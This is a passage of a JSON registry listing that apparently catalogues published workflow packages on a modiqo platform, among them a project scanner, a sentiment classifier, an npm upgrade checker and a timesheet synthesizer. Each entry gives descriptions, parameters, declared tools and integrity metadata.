modiqo","version":"0.1.0","published_at":"2026-09-04T14:20:44.424842+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":1960,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["scan_project","configure_zed","verify_python","detect_languages","verify_compilers"]},"parameters":[{"name":"project_path","type":"string","required":true,"description":"Path to the project folder to scan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b22d0f84e0ec495f2f5124e95d1dca8e9da33457b0bec5018f3c83e6effa85eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"file","kind":"tool","source":"declared","count":1},{"name":"find","kind":"tool","source":"declared","count":1},{"name":"g++","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/bhuvaneshmp/sentiment-classifier@1.0.0","reference":"bhuvaneshmp/sentiment-classifier@1.0.0","uri":"https://play.modiqo.ai/bhuvaneshmp/sentiment-classifier@1.0.0","manifest_uri":"https://play.modiqo.ai/bhuvaneshmp/sentiment-classifier@1.0.0","name":"sentiment-classifier","title":"sentiment-classifier","description":"Classifies text comments by sentiment (positive/negative/neutral) and generates a summary with counts, percentages, and overall trend.","owner":{"kind":"user","slug":"bhuvaneshmp"},"registry_organization":"bhuvaneshmp","tags":["sentiment","text-classification","analysis"],"primary_domain":"domain-uncategorized","author":"opencode","version":"1.0.0","published_at":"2026-09-04T07:47:44.482686+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3634,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["classify"]},"parameters":[{"name":"comments","type":"string","required":true,"description":"JSON array of comment strings to classify"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4915c1fda917f1c6eb23c22be6e244de9043c83604069a2f03f9f803510c259f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/bugbay/bugbay-runtime-recovery@0.0.3","reference":"bugbay/bugbay-runtime-recovery@0.0.3","uri":"https://play.modiqo.ai/bugbay/bugbay-runtime-recovery@0.0.3","manifest_uri":"https://play.modiqo.ai/bugbay/bugbay-runtime-recovery@0.0.3","name":"bugbay-runtime-recovery","title":"bugbay-runtime-recovery","description":"Runs BugBay autonomous runtime recovery with diagnosis, bounded repair, verification, rollback, and evidence.","owner":{"kind":"org","slug":"bugbay"},"registry_organization":"bugbay","tags":["bugbay","runtime","recovery","sre","cyberpunk"],"primary_domain":"domain-uncategorized","author":"bugbay","version":"0.0.3","published_at":"2026-09-03T21:21:38.031851+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6134,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["run_recovery"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the BugBay project root"},{"name":"target","type":"string","required":true,"description":"Runtime target relative to the BugBay project root"},{"name":"max_retries","type":"number","required":false,"default":1,"description":"Maximum bounded recovery attempts"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1e15b9530fa04a8a62b5192e1f46720788634760c86bdd0cf8467256caf6e2ce","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/steja01/npm-upgrade-readiness-radar@0.1.0","reference":"steja01/npm-upgrade-readiness-radar@0.1.0","uri":"https://play.modiqo.ai/steja01/npm-upgrade-readiness-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/steja01/npm-upgrade-readiness-radar@0.1.0","name":"npm-upgrade-readiness-radar","title":"npm-upgrade-readiness-radar","description":"Given a project's package.json (and optionally its package-lock.json), resolves each direct npm dependency against the live registry, classifies its upgrade status with real semver logic (already current / within declared range / manifest update needed / major migration needed), and for the top major-migration candidates best-effort scans GitHub release notes for breaking-change signals. Produces a staged, cited upgrade plan. Read-only, no credentials.","owner":{"kind":"user","slug":"steja01"},"registry_organization":"steja01","tags":["devtools","npm","dependencies","upgrades","semver"],"primary_domain":"domain-uncategorized","author":"steja01","version":"0.1.0","published_at":"2026-09-03T17:51:00.23186+00:00","visibility":"public","quality_score":0.875,"size_bytes":8913,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"manifest_path","type":"string","required":true,"description":"Path to the project's package.json to analyze"},{"name":"lockfile_path","type":"string","required":false,"default":"","description":"Path to the project's package-lock.json, used to resolve actually-installed versions (npm lockfile v1, v2, or v3). If omitted, analysis falls back to declared ranges only."},{"name":"max_evidence_checks","type":"string","required":false,"default":"3","description":"Max number of highest-priority major-migration candidates to best-effort check for breaking-change signals in GitHub release notes"},{"name":"concurrency","type":"string","required":false,"default":"8","description":"Max concurrent npm registry requests"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e49cfb2cc2a95fb6ec817f30524edfb33907699969a7dad34df1346cd8ffd8eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/viswesh/divergence@0.1.2","reference":"viswesh/divergence@0.1.2","uri":"https://play.modiqo.ai/viswesh/divergence@0.1.2","manifest_uri":"https://play.modiqo.ai/viswesh/divergence@0.1.2","name":"divergence","title":"divergence","description":"Universal Timesheet & Activity Synthesizer. Groups arbitrary evidence (git commits, GitHub PRs, issues, reviews, command logs) into a structured daily timesheet across any requested date range. Zero external dependencies; needs only python3 and sh.","owner":{"kind":"user","slug":"viswesh"},"registry_organization":"viswesh","tags":["typescript","timesheet","productivity","github","activity","git"],"primary_domain":"domain-uncategorized","author":"sigireddyviswesh","version":"0.1.2","published_at":"2026-09-03T16:49:46.245276+00:00","visibility":"public","quality_score":1,"size_bytes":9048,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["timesheet_step"]},"parameters":[{"name":"from","type":"string","required":false,"default":"","description":"Start date in YYYY-MM-DD format","example":"2026-09-01"},{"name":"to","type":"string","required":false,"default":"","description":"End date in YYYY-MM-DD format","example":"2026-09-03"},{"name":"range","type":"string","required":false,"default":"this-week","description":"Convenience range preset: today, yesterday, week, last-week","example":"week"},{"name":"evidence","type":"string","required":false,"default":"","description":"Raw activity evidence text, git log, or piped commit list","example":"2026-09-01 09:30:00 Auth implementation"},{"name":"github_user","type":"string","required":false,"default":"","description":"GitHub username to pull public PRs, commits, and reviews from","example":"torvalds"},{"name":"repo","type":"string","required":false,"default":"","description":"GitHub repository (owner/repo) to fetch activity from","example":"facebook/react"},{"name":"out_report","type":"string","required":false,"default":"./divergence-timesheet.json","description":"Path where structured JSON timesheet will be written","example":"./divergence-timesheet.json"},{"name":"out_markdown","type":"string","required":false,"default":"./divergence-timesheet.md","description":"Path where formatted Markdown timesheet will be written","example":"./divergence-timesheet.md"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a6697a18e2ad398ed36e29d10233f1f2dd91691dda2851202e6771e2473d8d2b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}}]}